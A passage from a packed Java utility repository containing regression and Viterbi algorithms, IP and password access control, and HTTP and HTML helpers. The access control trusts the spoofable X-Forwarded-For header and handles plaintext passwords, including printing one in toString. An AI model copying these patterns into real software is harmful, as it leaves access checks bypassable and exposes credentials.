    "content": "package com.jun.plugin.commons.util.maths.algorithm;\n\nimport java.util.ArrayList;\nimport java.util.List;\n\nimport com.jun.plugin.commons.util.maths.Det;\nimport com.jun.plugin.commons.util.maths.Matrix;\n\n/**\n * 多元线性回归算法\n * MultiVariableLinearRegression\n * Version：1.0\n * Author：WSK\n * 2013-5-10  下午05:52:35\n */\npublic class MultiVariableLinearRegression\n{\n\t// 线性回归形如:\n\t// a[0]*x[0]+a[1]*x[1]+...+a[n-1]*x[n-1]+a[n]=y\n\tprivate List<List<Double>> x;// 变量\n\tprivate List<Double> y;// 值\n\tprivate Double[] a;// 参数\n\tprivate int n;// n元\n\tprivate Double[] avgX;\n\tprivate Double avgY;\n\tprivate Matrix L;\n\n\t//测试\n\t/*\n\tpublic static void main(String[] arg)\n\t{\n\t\tMultiVariableLinearRegression mvlr=new MultiVariableLinearRegression(2);\n\t\tList<Double> x1=new ArrayList<Double>();\n\t\tx1.add(0.2303);\n\t\tx1.add(0.1695);\n\t\tx1.add(0.6002);\n\t\tList<Double> x2=new ArrayList<Double>();\n\t\tx2.add(0.2284);\n\t\tx2.add(0.1739);\n\t\tx2.add(0.5977);\n\t\tList<Double> x3=new ArrayList<Double>();\n\t\tx3.add(0.2195);\n\t\tx3.add(0.1763);\n\t\tx3.add(0.6042);\n\t\tList<Double> x4=new ArrayList<Double>();\n\t\tx4.add(0.2145);\n\t\tx4.add(0.1844);\n\t\tx4.add(0.6011);\n\t\tList<Double> x5=new ArrayList<Double>();\n\t\tx5.add(0.209);\n\t\tx5.add(0.1745);\n\t\tx5.add(0.6165);\n\t\tDouble y1=1.417969391;\n\t\tDouble y2=1.407891933;\n\t\tDouble y3=1.393787219;\n\t\tDouble y4=1.395758884;\n\t\t//Double y5=1.394938722;\n\t\tmvlr.addExample(x1, y1);\n\t\tmvlr.addExample(x2, y2);\n\t\tmvlr.addExample(x3, y3);\n\t\tmvlr.addExample(x4, y4);\n\t\t//mvlr.addExample(x5, y5);\n\t\tmvlr.regression();\n\t\tmvlr.printAVector();\n\t\tList<Double> x6=new ArrayList<Double>();\n\t\tx6.add(0.1938);\n\t\tx6.add(0.1823);\n\t\tx6.add(0.6239);\n\t\tDouble y5=mvlr.forecast(x5);\n\t\tSystem.out.println(\"预测结果:\"+y5);\n\t\tDouble y6=mvlr.forecast(x6);\n\t\tSystem.out.println(\"预测结果:\"+y6);\n\t}\n\t*/\n\t\n\tpublic MultiVariableLinearRegression(int n)\n\t{\n\t\tthis.n=n;\n\t\tthis.a = new Double[n + 1];\n\t\tx = new ArrayList<List<Double>>();\n\t\ty = new ArrayList<Double>();\n\t}\n\n\tpublic void addExample(List<Double> x, Double y)\n\t{\n\t\tthis.x.add(x);\n\t\tthis.y.add(y);\n\t}\n\n\t// 计算回归参数\n\tpublic Boolean regression()\n\t{\n\t\tif (x.size() < n + 1)\n\t\t{\n\t\t\tSystem.out.println(\"样本不足,无法计算回归参数\");\n\t\t\treturn false;\n\t\t}\n\t\tcomputeAvgX();\n\t\tcomputeAvgY();\n\t\tcomputeLMatrix();\n\t\tcomputeAVector();\n\t\treturn true;\n\t}\n\t//打印预测变量\n\tpublic String getRegressionLine()\n\t{\n\t\tString aString=\"线性回归直线:y=\";\n\t\tfor(int i=0;i<n;++i)\n\t\t{\n\t\t\tif(i>0&&a[i]>=0)\n\t\t\t{\n\t\t\t\taString+=\"+\";\n\t\t\t}\n\t\t\taString+=a[i]+\"*x\"+(i+1);\n\t\t}\n\t\taString+=(a[n]<0?\"\":\"+\")+a[n]+\";\";\n\t\tSystem.out.println(aString);\n\t\treturn aString;\n\t}\n\t// 根据变量预测值\n\tpublic Double forecast(List<Double> x)\n\t{\n\t\tDouble sum = 0d;\n\t\tfor (int i = 0; i < n; ++i)\n\t\t{\n\t\t\tsum += a[i] * x.get(i);\n\t\t}\n\t\treturn sum + a[n];// a[n]是常数\n\t}\n\n\tprivate void computeAvgX()\n\t{\n\t\tavgX = new Double[n];\n\t\tfor (int j = 0; j < n; ++j)\n\t\t{\n\t\t\tDouble sum = 0d;\n\t\t\tfor (int i = 0; i < x.size(); ++i)\n\t\t\t{\n\t\t\t\tsum += x.get(i).get(j);\n\t\t\t}\n\t\t\tavgX[j] = sum / x.size();\n\t\t}\n\t}\n\n\tprivate void computeAvgY()\n\t{\n\t\tDouble sum = 0d;\n\t\tfor (int i = 0; i < y.size(); ++i)\n\t\t{\n\t\t\tsum += y.get(i);\n\t\t}\n\t\tavgY=sum/y.size();\n\t}\n\n\tprivate void computeLMatrix()\n\t{\n\t\tL = new Matrix(n, n + 1);\n\t\t//计算Lx\n\t\tfor (int i = 0; i < n; ++i)\n\t\t{\n\t\t\tfor (int j = 0; j < n; ++j)\n\t\t\t{\n\t\t\t\tDouble sum = 0d;\n\t\t\t\tfor (int k = 0; k < x.size(); ++k)\n\t\t\t\t{\n\t\t\t\t\tsum += (x.get(k).get(i) - avgX[i]) * (x.get(k).get(j) - avgX[j]);\n\t\t\t\t}\n\t\t\t\tL.setValue(i, j, sum);\n\t\t\t}\n\t\t}\n\t\t//计算Lxy\n\t\tfor (int i = 0; i < n; ++i)\n\t\t{\n\t\t\tDouble sum = 0d;\n\t\t\tfor (int k = 0; k < x.size(); ++k)\n\t\t\t{\n\t\t\t\tsum += (x.get(k).get(i) - avgX[i]) * (y.get(k) - avgY);\n\t\t\t}\n\t\t\tL.setValue(i, n, sum);\n\t\t}\n\t}\n\tprivate void computeAVector()\n\t{\n\t\tDet dn=new Det(n);\n\t\tfor(int i=0;i<n;++i)\n\t\t{\n\t\t\tdn.setColValue(i, L.getColValue(i));\n\t\t}\n\t\tDouble dnDecade=dn.getDecade();\n\t\tDouble sum=0d;\n\t\tfor(int i=0;i<n;++i)\n\t\t{\n\t\t\tDet d=new Det(n);\n\t\t\tfor(int j=0;j<n;++j)\n\t\t\t{\n\t\t\t\tif(i!=j)\n\t\t\t\t{\n\t\t\t\t\td.setColValue(j, L.getColValue(j));\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\td.setColValue(j, L.getColValue(n));\n\t\t\t\t}\n\t\t\t}\n\t\t\tDouble dDecade=d.getDecade();\n\t\t\ta[i]=dDecade/dnDecade;\n\t\t\tsum+=a[i]*avgX[i];\n\t\t}\n\t\ta[n]=avgY-sum;\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_apache_commons/src/main/java/com/jun/plugin/commons/util/maths/algorithm/Viterbi.java",
    "content": "package com.jun.plugin.commons.util.maths.algorithm;\n\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\n\nimport com.jun.plugin.commons.util.log.LogUtil;\nimport com.jun.plugin.commons.util.maths.Matrix;\n\n/**\n * 维特比算法\n * Viterbi\n * Version：1.0\n * Author：WSK\n * 2013-5-10  下午06:26:47\n */\npublic class Viterbi\n{\n\tprivate Matrix translation;//状态转移矩阵\n\tprivate Matrix probability;//概率矩阵\n\tprivate Path maxPath;//最优路径\n\tprivate double maxProb;//最优路径概率\n\tprivate double allProb;//所有路径总概率\n\tprivate Object[] states;\n\tprivate Object[] observes;\n\t\n\tprivate class Triad\n\t{\n\t\tDouble allPorb;//开始状态到所有路径概率之和\n\t\tPath path;//开始状态到当前的维特比路径\n\t\tDouble prob;//开始状态到当前的维特比路径的概率\n\t\tTriad(Double allPorb,Path path,Double prob)\n\t\t{\n\t\t\tthis.allPorb=allPorb;\n\t\t\tthis.path=path;\n\t\t\tthis.prob=prob;\n\t\t}\n\t}\n\tpublic class Path\n\t{\n\t\tList<Object> path=new ArrayList<Object>();\n\t\tpublic String toString()\n\t\t{\n\t\t\tStringBuilder sbBuilder=new StringBuilder();\n\t\t\tfor(int i=0;i<path.size();++i)\n\t\t\t{\n\t\t\t\tsbBuilder.append(i==0?\"\":\"->\").append(path.get(i).toString());\n\t\t\t}\n\t\t\treturn sbBuilder.toString();\n\t\t}\n\t}\n\tpublic Viterbi(Matrix tran,Matrix prob,Object[] states,Object[] observes)\n\t{\n\t\tthis.translation=tran;\n\t\tthis.probability=prob;\n\t\tthis.states=states;\n\t\tthis.observes=observes;\n\t\tthis.maxPath=new Path();\n\t}\n\tpublic boolean viterbi(int[] obs,double[] start)\n\t{\n\t\tif(this.observes.length!=this.probability.getColumnCount())\n\t\t{\n\t\t\tLogUtil.getLogger().error(\"观测结果数和概率矩阵的列数不一致\");\n\t\t\treturn false;\n\t\t}\n\t\tif(this.states.length!=this.probability.getRowCount())\n\t\t{\n\t\t\tLogUtil.getLogger().error(\"状态数和概率矩阵的行数不一致\");\n\t\t\treturn false;\n\t\t}\n\t\tif(this.translation.getRowCount()!=this.translation.getColumnCount())\n\t\t{\n\t\t\tLogUtil.getLogger().error(\"状态转移矩阵的行列数不一致\");\n\t\t\treturn false;\n\t\t}\n\t\tif(this.states.length!=this.translation.getRowCount())\n\t\t{\n\t\t\tLogUtil.getLogger().error(\"状态数和状态转移矩阵的行数不一致\");\n\t\t\treturn false;\n\t\t}\n\t\t//初始化三元组\n\t\tMap<Object,Triad> triads=new HashMap<Object,Triad>();\n\t\tfor(int i=0;i<states.length;++i)\n\t\t{\n\t\t\tPath path=new Path();\n\t\t\tpath.path.add(states[i]);\n\t\t\ttriads.put(states[i],new Triad(start[i],path,start[i]));\n\t\t}\n\t\tfor(int i=0;i<obs.length;++i)//对观察结果遍历\n\t\t{\n\t\t\tMap<Object,Triad> triadsTemp=new HashMap<Object,Triad>();\n\t\t\tfor(int j=0;j<states.length;++j)//对下一状态进行遍历\n\t\t\t{\n\t\t\t\tObject nextState=states[j];\n\t\t\t\tdouble total=0;\n\t\t\t\tPath argmax=new Path();\n\t\t\t\tdouble valmax=0;\t\t\t\t\n\t\t\t\tfor(int k=0;k<states.length;++k)//对当前状态遍历\n\t\t\t\t{\n\t\t\t\t\tObject curState=states[k];\n\t\t\t\t\tTriad tmp=triads.get(curState);\n\t\t\t\t\tdouble allProb=tmp.allPorb;\n\t\t\t\t\tPath path=tmp.path;\n\t\t\t\t\tdouble prob= tmp.prob;\n\t\t\t\t\tdouble p=probability.getValue(k, obs[i])*translation.getValue(k, j);\n\t\t\t\t\tallProb*=p;\n\t\t\t\t\tprob*=p;\n\t\t\t\t\ttotal+=allProb;//利用贝叶斯定理计算条件概率\n\t\t\t\t\tif(prob > valmax)\n\t\t\t\t\t{\t//选择概率最大的作为维特比路径\n\t\t\t\t\t\targmax.path.clear();\n\t\t\t\t\t\targmax.path.addAll(path.path);\n\t\t\t\t\t\targmax.path.add(nextState);\n\t\t\t\t\t\tvalmax=prob;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tTriad triad=new Triad(total, argmax, valmax);\n\t\t\t\ttriadsTemp.put(nextState, triad);\n\t\t\t}\n\t\t\ttriads=triadsTemp;//交换元祖集\n\t\t}\n\t\t\n\t\t//获取结果\n\t\tthis.allProb=0;\n\t\tfor(int i=0;i<states.length;++i)\n\t\t{\n\t\t\tTriad tmp=triads.get(states[i]);\n\t\t\tdouble allProb=tmp.allPorb;\n\t\t\tPath path=tmp.path;\n\t\t\tdouble prob= tmp.prob;\n\t\t    this.allProb += allProb;\n\t\t\tif(prob > maxProb)\n\t\t\t{\t//选择概率最大的作为维特比路径\n\t\t\t\tmaxPath.path.clear();\n\t\t\t\tmaxPath.path.addAll(path.path);\n\t\t\t\tmaxProb=prob;\n\t\t\t}\n\t\t}\n\t\treturn true;\n\t}\n\tpublic Matrix getTranslation()\n\t{\n\t\treturn translation;\n\t}\n\tpublic void setTranslation(Matrix translation)\n\t{\n\t\tthis.translation = translation;\n\t}\n\tpublic Matrix getProbability()\n\t{\n\t\treturn probability;\n\t}\n\tpublic void setProbability(Matrix probability)\n\t{\n\t\tthis.probability = probability;\n\t}\n\tpublic Path getMaxPath()\n\t{\n\t\treturn maxPath;\n\t}\n\tpublic Object[] getStates()\n\t{\n\t\treturn states;\n\t}\n\tpublic void setStates(Object[] states)\n\t{\n\t\tthis.states = states;\n\t}\n\tpublic Object[] getObserves()\n\t{\n\t\treturn observes;\n\t}\n\tpublic void setObserves(Object[] observes)\n\t{\n\t\tthis.observes = observes;\n\t}\n\tpublic double getMaxProb()\n\t{\n\t\treturn maxProb;\n\t}\n\tpublic double getAllProb()\n\t{\n\t\treturn allProb;\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_apache_commons/src/main/java/com/jun/plugin/commons/util/net/AccessControl.java",
    "content": "package com.jun.plugin.commons.util.net;\n\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.HashSet;\nimport java.util.Iterator;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Set;\n\nimport javax.servlet.http.HttpServletRequest;\n\nimport org.dom4j.Document;\nimport org.dom4j.DocumentException;\nimport org.dom4j.Element;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport com.jun.plugin.commons.util.Span;\nimport com.jun.plugin.commons.util.XmlUtil;\n\n/**\n * 访问控制对象\n * @author Wujun\n *\n */\npublic class AccessControl{\n\tprivate static Logger logger = LoggerFactory.getLogger(AccessControl.class);\n\t\n\t/*--------------------------常量 start-------------------------------*/\n\t/** 访问控制信息文件路径 */\n\tpublic final static String ACCESS_PATH = \"config/access.xml\";\n\t\n\t/** 白名单模式 */\n\tpublic final static String TYPE_WHITE = \"white\";\n\t/** 黑名单模式 */\n\tpublic final static String TYPE_BLACK = \"black\";\n\t/*--------------------------常量 end-------------------------------*/\n\t\n\t/** 控制访问模式 */\n\tprivate static String type;\n\t/** IP区间名单列表 */\n\tprivate static List<Span> ipSections = new ArrayList<Span>();\n\t\n\t/** 用户组 */\n\tprivate static Set<String> groups = new HashSet<String>();\n\t/** 用户列表 */\n\tprivate static Map<String, Connector> users = new HashMap<String, Connector>();\n\t\n\tpublic AccessControl() {\n\t\tthis.init(ACCESS_PATH);\n\t}\n\t\n\tpublic AccessControl(String pathBaseClassLoader) {\n\t\tthis.init(pathBaseClassLoader);\n\t}\n\t\n\t/**\n\t * 初始化访问控制\n\t */\n\t@SuppressWarnings(\"unchecked\")\n\tpublic void init(String pathBaseClassLoader){\n\t\tDocument doc = null;\n\t\ttry {\n\t\t\tdoc =  XmlUtil.readDoc(ACCESS_PATH);\n\t\t} catch (DocumentException e) {\n\t\t\tlogger.error(\"解析控制配置文件失败！\", e);\n\t\t\treturn;\n\t\t}\n\t\tElement access = doc.getRootElement();\n\t\t\n\t\t//初始化用户组\n\t\tElement auth = access.element(\"auth\");\n\t\tList<Element> groupList = auth.elements(\"group\");\n\t\tfor (Element group : groupList) {\n\t\t\tgroups.add(group.attributeValue(\"name\"));\n\t\t}\n\t\t//初始化用户列表\n\t\tList<Element> userList = auth.elements(\"user\");\n\t\tfor (Element user : userList) {\n\t\t\tString name =user.attributeValue(\"name\");\n\t\t\tString pass =user.attributeValue(\"pass\");\n\t\t\tString group =user.attributeValue(\"group\");\n\t\t\tif(groups.contains(group)) {\n\t\t\t\t//用户必须在组中\n\t\t\t\tusers.put(buildKey(name, pass, group), new Connector(name, pass, group));\n\t\t\t}else {\n\t\t\t\tlogger.error(\"【Access】Bad group {}\", group);\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t}\n\t\t\n\t\t//初始化黑名单（白名单）\n\t\tElement list = access.element(\"list\");\n\t\ttype = list.attributeValue(\"type\").trim();\n\t\tIterator<Element> iterator = list.elementIterator(\"section\");\n\t\twhile(iterator.hasNext()){\n\t\t\tString[] ipSection = iterator.next().getText().trim().split(\"-\");\n\t\t\tif(ipSection.length == 1){\n\t\t\t\tlong ipLong = SocketUtil.ipv4ToLong(ipSection[0]);\n\t\t\t\tif(ipLong != 0){\n\t\t\t\t\tipSections.add(new Span(ipLong, ipLong));\n\t\t\t\t}\n\t\t\t}else if(ipSection.length == 2){\n\t\t\t\tlong ipLong1 = SocketUtil.ipv4ToLong(ipSection[0]);\n\t\t\t\tlong ipLong2 = SocketUtil.ipv4ToLong(ipSection[1]);\n\t\t\t\tif(ipLong1 != 0 && ipLong2 != 0 && ipLong1 <= ipLong2){\n\t\t\t\t\tipSections.add(new Span(ipLong1, ipLong2));\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\t\n\t/**\n\t * 指定用户是否通过验证\n\t * @param username 用户名\n\t * @param pass 密码\n\t * @param group 用户组\n\t * @return 是否通过验证\n\t */\n\tpublic boolean isAuthorized(String username, String pass, String group){\n\t\tConnector connector = users.get(buildKey(username, pass, group));\n\t\tif(connector != null) {\n\t\t\tif(connector.getUser().equals(username) && connector.getPassword().equals(pass) && connector.getGroup().equals(group)) {\n\t\t\t\treturn true;\n\t\t\t}\n\t\t\treturn true;\n\t\t}\n\t\treturn false;\n\t}\n\t\n\t/**\n\t * 是否允许指定的请求访问\n\t * @param request 请求对象\n\t * @return 是否允许访问\n\t */\n\tpublic boolean isPermit(HttpServletRequest request){\n\t\treturn isPermit(HttpUtil.getClientIP(request));\n\t}\n\t\n\t/**\n\t * 是否允许给定的IP访问\n\t * @param ip IP地址\n\t * @return 是否允许\n\t */\n\tpublic boolean isPermit(String ip){\n\t\tif(TYPE_WHITE.equals(type)){\n\t\t\treturn isInSection(ip);\n\t\t}else if(TYPE_BLACK.equals(type)){\n\t\t\treturn ! isInSection(ip);\n\t\t}\n\t\tlogger.error(\"访问控制类型 \" + type + \" 错误！\");\n\t\treturn false;\n\t}\n\t\n\t/**\n\t * 是否是允许IP段内的指定用户\n\t * @param username 用户名\n\t * @param pass 密码\n\t * @param group 用户组\n\t * @param ip IP段\n\t * @return 是否允许\n\t */\n\tpublic boolean isAuthorizedWithIP(String username, String pass, String group, String ip) {\n\t\treturn isPermit(ip) && isAuthorized(username, pass, group);\n\t}\n\t\n\t/**\n\t * IP是否位于名单中\n\t * @param ip IP地址\n\t * @return 是否在名单中\n\t */\n\tprivate boolean isInSection(String ip){\n\t\tlong ipLong = SocketUtil.ipv4ToLong(ip);\n\t\tif(ipLong != 0){\n\t\t\tfor (Span ipSection : ipSections) {\n\t\t\t\tif(ipSection.isInBetween(ipLong)) return true;\n\t\t\t}\n\t\t}\n\t\treturn false;\n\t}\n\t\n\t/**\n\t * 根据用户名、密码和组构建一个key，用于查找用户\n\t * @param name 用户名\n\t * @param pass 密码\n\t * @param group 组\n\t * @return KEY\n\t */\n\tprivate String buildKey(String name, String pass, String group) {\n\t\treturn name + \"#\" + pass + \"#\" + group;\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_apache_commons/src/main/java/com/jun/plugin/commons/util/net/Connector.java",
    "content": "package com.jun.plugin.commons.util.net;\n\n/**\n * 连接者对象，提供一些连接的基本信息\n * @author Wujun\n *\n */\npublic class Connector {\n\tprivate String host;\n\tprivate int port;\n\tprivate String user;\n\tprivate String password;\n\tprivate String group;\n\t\n\t//----------------------------------------------------------------------- 构造 start\n\tpublic Connector() {\n\t}\n\t\n\t/**\n\t * 构造\n\t * @param user 用户名\n\t * @param password 密码\n\t * @param group 组\n\t */\n\tpublic Connector(String user, String password, String group) {\n\t\tthis.user = user;\n\t\tthis.password = password;\n\t\tthis.group = group;\n\t}\n\n\t/**\n\t * 构造\n\t * @param host 主机名\n\t * @param port 端口\n\t * @param user 用户名\n\t * @param password 密码\n\t */\n\tpublic Connector(String host, int port, String user, String password) {\n\t\tsuper();\n\t\tthis.host = host;\n\t\tthis.port = port;\n\t\tthis.user = user;\n\t\tthis.password = password;\n\t}\n\t//----------------------------------------------------------------------- 构造 end\n\n\t/**\n\t * 获得主机名\n\t * @return 主机名\n\t */\n\tpublic String getHost() {\n\t\treturn host;\n\t}\n\t/**\n\t * 设定主机名\n\t * @param host 主机名\n\t */\n\tpublic void setHost(String host) {\n\t\tthis.host = host;\n\t}\n\t\n\t/**\n\t * 获得端口号\n\t * @return 端口号\n\t */\n\tpublic int getPort() {\n\t\treturn port;\n\t}\n\t/**\n\t * 设定端口号\n\t * @param port 端口号\n\t */\n\tpublic void setPort(int port) {\n\t\tthis.port = port;\n\t}\n\t\n\t/**\n\t * 获得用户名\n\t * @return 用户名\n\t */\n\tpublic String getUser() {\n\t\treturn user;\n\t}\n\t/**\n\t * 设定用户名\n\t * @param name 用户名\n\t */\n\tpublic void setUser(String name) {\n\t\tthis.user = name;\n\t}\n\t\n\t/**\n\t * 获得密码\n\t * @return 密码\n\t */\n\tpublic String getPassword() {\n\t\treturn password;\n\t}\n\t/**\n\t * 设定密码\n\t * @param password 密码\n\t */\n\tpublic void setPassword(String password) {\n\t\tthis.password = password;\n\t}\n\t\n\t/**\n\t * 获得用户组名\n\t * @return 用户组\n\t */\n\tpublic String getGroup() {\n\t\treturn group;\n\t}\n\t/**\n\t * 设定用户组名\n\t * @param group 用户组\n\t */\n\tpublic void setGroup(String group) {\n\t\tthis.group = group;\n\t}\n\n\t/**\n\t * ToString方法仅用于测试显示\n\t */\n\t@Override\n\tpublic String toString() {\n\t\treturn \"Connector [host=\" + host + \", port=\" + port + \", user=\" + user + \", password=\" + password + \"]\";\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_apache_commons/src/main/java/com/jun/plugin/commons/util/net/HtmlUtil.java",
    "content": "package com.jun.plugin.commons.util.net;\n\nimport com.jun.plugin.commons.util.LangUtil;\n\n/**\n * HTML工具类\n * @author Wujun\n *\n */\npublic class HtmlUtil {\n\t\n\tpublic static final String RE_HTML_MARK = \"(<.*?>)|(<[\\\\s]*?/.*?>)|(<.*?/[\\\\s]*?>)\";\n\tpublic static final String RE_SCRIPT = \"<[\\\\s]*?script[^>]*?>.*?<[\\\\s]*?\\\\/[\\\\s]*?script[\\\\s]*?>\";\n\t\n\t/**\n\t * 还原被转义的HTML特殊字符\n\t * @param htmlStr 包含转义符的HTML内容\n\t * @return 转换后的字符串\n\t */\n\tpublic static String restoreEscaped(String htmlStr) {\n\t\tif (LangUtil.isEmpty(htmlStr)) {\n\t\t\treturn htmlStr;\n\t\t}\n\t\treturn htmlStr\n\t\t\t.replace(\"&lt\", \"<\")\n\t\t\t.replace(\"&lt;\", \"<\")\n\t\t\t.replace(\"&gt;\", \">\")\n\t\t\t.replace(\"&amp;\", \"&\")\n\t\t\t.replace(\"&quot;\", \"\\\"\")\n\t\t\t.replace(\"&#39;\", \"'\")\n\t\t\t.replace(\"&nbsp;\", \" \");\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_apache_commons/src/main/java/com/jun/plugin/commons/util/net/HttpUtil.java",
    "content": "package com.jun.plugin.commons.util.net;\n\nimport java.io.BufferedReader;\nimport java.io.IOException;\nimport java.io.InputStreamReader;\nimport java.io.UnsupportedEncodingException;\nimport java.net.HttpURLConnection;\nimport java.net.URL;\nimport java.net.URLDecoder;\nimport java.net.URLEncoder;\nimport java.util.HashMap;\nimport java.util.Map;\n\nimport javax.servlet.http.HttpServletRequest;\n\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport com.jun.plugin.commons.util.FileUtil;\nimport com.jun.plugin.commons.util.LangUtil;\nimport com.jun.plugin.commons.util.RegexUtil;\n\n/**\n * Http请求工具类\n * @author Wujun\n */\npublic class HttpUtil {\n\tprivate static Logger logger = LoggerFactory.getLogger(HttpUtil.class);\n\t\n\tpublic final static String HTTP_CHARSET = \"GBK\";\n\t/** 未知的标识 */\n\tpublic final static String UNKNOW = \"unknown\";\n\t\n\tprivate static Map<String, String> cookies;\n\t\n\tpublic HttpUtil() {\n\t\tcookies = new HashMap<String, String>();\n\t}\n\t\n\t/**\n\t * 发送get请求\n\t * @param urlString 网址\n\t * @param customCharset 自定义请求字符集\n\t * @return 返回内容，如果只检查状态码，正常只返回 \"\"，不正常返回 null\n\t * @throws IOException\n\t */\n\tpublic String get(String urlString, String customCharset) throws IOException{\n\t\tURL url = new URL(urlString);\n\t\tHttpURLConnection conn = (HttpURLConnection)url.openConnection();\n\t\tString host = url.getHost();\n\t\tString cookie = cookies.get(host);\n\t\tif(cookie != null) conn.addRequestProperty(\"Cookie\", cookie);\n\t\t\n//\t\tconn.addRequestProperty(\"User-Agent\", \"Baiduspider+(+http://www.baidu.com/search/spider.htm)\");\n\t\tconn.addRequestProperty(\"User-Agent\", \"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.83 Safari/537.1\");\n\t\t\n\t\tconn.setRequestMethod(\"GET\");\n\t\tconn.setDoInput(true);\n\t\t\n\t\tString setCookie = conn.getHeaderField(\"Set-Cookie\");\n\t\tif(setCookie != null){\n\t\t\tlogger.debug(\"Set Cookie: \" + setCookie);\n\t\t\tcookies.put(host, setCookie);\n\t\t}\n\t\t\n\t\t/* 获取内容 */\n\t\tint contentLength = conn.getContentLength();\n\t\tStringBuilder content = new StringBuilder(contentLength > 0 ? contentLength : 16);\n\t\tBufferedReader bufferedReader = null;\n\t\tString charset = getCharsetFromConn(conn);\n\t\tif(charset == null){\n\t\t\tbufferedReader = new BufferedReader(new InputStreamReader(conn.getInputStream()));\n\t\t}else{\n\t\t\tbufferedReader = new BufferedReader(new InputStreamReader(conn.getInputStream(), charset));\n\t\t}\n\t\tString line = bufferedReader.readLine();\n\t\twhile (line != null) {  \n\t\t\tcontent.append(line).append(\"\\n\");  \n            line = bufferedReader.readLine();  \n        }\n        FileUtil.close(bufferedReader);\n        conn.disconnect();\n        \n        return content.toString();\n\t}\n\t\n\t/**\n\t * 编码字符为 application/x-www-form-urlencoded\n\t * @param content\t被编码内容\n\t * @return 编码后的字符\n\t */\n\tpublic static String encode(String content, String charset){\n\t\tif(LangUtil.isEmpty(content)) return content;\n\t\t\n\t\tString encodeContnt = null;\n\t\ttry {\n\t\t\tencodeContnt = URLEncoder.encode(content, charset);\n\t\t} catch (UnsupportedEncodingException e) {\n\t\t\tlogger.error(\"Unsupported encoding: {}\", charset);\n\t\t}\n\t\t return encodeContnt;\n\t}\n\t\n\t/**\n\t * 解码application/x-www-form-urlencoded字符\n\t * @param content\t被编码内容\n\t * @return 编码后的字符\n\t */\n\tpublic static String decode(String content, String charset){\n\t\tif(LangUtil.isEmpty(content)) return content;\n\t\t\n\t\tString encodeContnt = null;\n\t\ttry {\n\t\t\tencodeContnt = URLDecoder.decode(content, charset);\n\t\t} catch (UnsupportedEncodingException e) {\n\t\t\tlogger.error(\"Unsupported encoding: {}\", charset);\n\t\t}\n\t\treturn encodeContnt;\n\t}\n\t\n\t/**\n\t * 格式化URL链接\n\t * @param url 需要格式化的URL\n\t * @return 格式化后的URL，如果提供了null或者空串，返回null\n\t */\n\tpublic static String formatUrl(String url){\n\t\tif(LangUtil.isEmpty(url)) return null;\n\t\tif(url.startsWith(\"http://\") || url.startsWith(\"https://\")) return url;\n\t\treturn \"http://\" + url;\n\t}\n\t\n\t/**\n\t * 格式化Http Header 的name部分\n\t * @param headerName 头名称\n\t * @return 格式化后的 header name, 如果headerName为空，返回null\n\t */\n\tpublic static String formatHeaderName(String headerName) {\n\t\tif(LangUtil.isEmpty(headerName)) {\n\t\t\treturn null;\n\t\t}else {\n\t\t\theaderName = headerName.toLowerCase();\n\t\t}\n\t\t\n\t\tif (headerName.equals(\"etag\")) {\n\t\t\treturn \"ETag\";\n\t\t}\n\n\t\tif (headerName.equals(\"www-authenticate\")) {\n\t\t\treturn \"WWW-Authenticate\";\n\t\t}\n\n\t\tchar[] name = headerName.toCharArray();\n\n\t\tboolean capitalize = true;\n\n\t\tfor (int i = 0; i < name.length; i++) {\n\t\t\tchar c = name[i];\n\n\t\t\tif (c == '-') {\n\t\t\t\tcapitalize = true;\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\tif (capitalize) {\n\t\t\t\tname[i] = Character.toUpperCase(c);\n\t\t\t\tcapitalize = false;\n\t\t\t} else {\n\t\t\t\tname[i] = Character.toLowerCase(c);\n\t\t\t}\n\t\t}\n\n\t\treturn new String(name);\n\t}\n\t\n\t/**\n\t * 获取客户端IP\n\t * @param request 请求对象\n\t * @return IP地址\n\t */\n\tpublic static String getClientIP(HttpServletRequest request) {\n\t\tString ip = request.getHeader(\"X-Forwarded-For\");\n\t\tif (isUnknow(ip)) {\n\t\t\tip = request.getHeader(\"Proxy-Client-IP\");\n\t\t}\n\t\tif (isUnknow(ip)) {\n\t\t\tip = request.getHeader(\"WL-Proxy-Client-IP\");\n\t\t}\n\t\tif (isUnknow(ip)) {\n\t\t\tip = request.getHeader(\"X-Real-IP\");\n\t\t}\n\t\tif (isUnknow(ip)) {\n\t\t\tip = request.getRemoteAddr();\n\t\t}\n\t\t// 多级反向代理检测\n\t\tif (ip != null && ip.indexOf(\",\") > 0) {\n\t\t\tip = ip.trim().split(\",\")[0];\n\t\t}\n\t\treturn ip;\n\t}\n\t\n\t/**\n\t * 从Http连接的头信息中获得字符集\n\t * @param conn HTTP连接对象\n\t * @return 字符集\n\t */\n\tprivate static String getCharsetFromConn(HttpURLConnection conn){\n\t\tString charset = conn.getContentEncoding();\n\t\tif(charset == null || \"\".equals(charset.trim())){\n\t\t\tString contentType = conn.getContentType();\n\t\t\tcharset = RegexUtil.get(\"charset=(.*)\", contentType, 1);\n\t\t}\n\t\treturn charset;\n\t}\n\t\n\t/**\n\t * 检测给定字符串是否为未知，多用于检测HTTP请求相关<br/>\n\t * \n\t * @param checkString 被检测的字符串\n\t * @return 是否未知\n\t */\n\tprivate static boolean isUnknow(String checkString) {\n\t\treturn LangUtil.isEmpty(checkString) || UNKNOW.equalsIgnoreCase(checkString);\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_apache_commons/src/main/java/com/jun/plugin/commons/util/net/SSHUtil.java",
